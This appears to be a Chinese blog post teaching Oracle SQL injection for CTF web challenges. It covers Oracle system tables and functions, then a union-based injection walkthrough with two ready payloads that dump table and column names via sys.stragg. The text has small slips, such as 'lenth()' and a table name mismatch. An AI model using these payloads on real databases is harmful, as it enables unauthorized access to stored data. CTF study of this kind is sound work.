CTF-Web:Oracle SQL 注入

相关的函数和表

Oracle 的 SQL 注入和 MySQL 是一样的,不同在于数据库信息所在的表和一些函数不一样。

内置函数

函数 功能
lenth() 返回字符串的长度
count() 返回在给定的选择中被选的行数
ascii() 表示将字符转换为 ASCII 码
substr() 返回值为源字符串中指定起始位置和长度的字符串
chr() 表示将 ASCII 码转换为字符

内置数据表

Oracle 查询需要带上表名,如“select * from xxx”。Oracle 有一个万能的表——dual 表,Oracle 保证 dual 里面永远只有一条记录。

内置数据表 说明
dual 表 是一个虚拟的表,用来构成 select 的语法规则
user tables 表 该表的 table_name 列存放着当前数据库的所有表
user tab columns 表 该表的 column_name 存放着表的所有列

单行子查询返回多行需使用 where rownum = 1 来规范,Oracle 数据库从数据文件或缓冲区中读取数据的顺序。

内置语句

获取数据

获取所有用户名:

SQL> select username from all_users;

获取数据库版本:

SQL> select banner from sys.v_$version;

获取当前登录的用户:

SQL> select user from dual;

字符串拼接

使用 || 来进行字符串的拼接,当 || 使用失败时,可以使用 || 的 URL 编码 %7C%7C,下面的 sql 语句可以拼接出字符串“admin”。

SQL> select 'a'||'d'||'m'||'i'||'n'from dual;

下面的 sql 语句同理。

SQL> select chr(97)||chr(100)||chr(109)||chr(105)||chr(110) from dual;

使用 sys.stragg() 函数来在单行中获取所有行信息:

SQL> select username from all_users;

下面的语句也能使多行结果以一行显示,并用(--'隔开)

SQL> select sys.stragg(username||'--')from all_users;

Oracle 注入样例

判断注入类型

首先判断注入点,suser 和 sname 都可能可以注入。

使用单引号闭合,网页返回报错信息。

构造恒真条件,数据库返回正常的数据,说明此处存在单引号闭合的字符型注入。

判断列数

判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。

判断哪些列是我们能用的,令参数的查询不到结果,然后使用 UNION 进行组合查询。

获取数据库信息

接下来开始爆表名,在 user_tables 进行查询,使用 sys.stragg() 函数合并查询结果。

' union select (select sys.stragg(table_name) from user_tables),null,null from dual --


接下来爆 cms_users 表的字段,在 user_tab_columns 爆出来,注意使用 sys.stragg() 函数时“||”要转码一下。

' union select (select sys.stragg(column_name%7c%7c'--') from user_tab_columns where table_name='T_USER'),null,null from dual --

posted @ 2022-01-15 00:09  乌漆WhiteMoon  阅读(492)  评论(0编辑  收藏  举报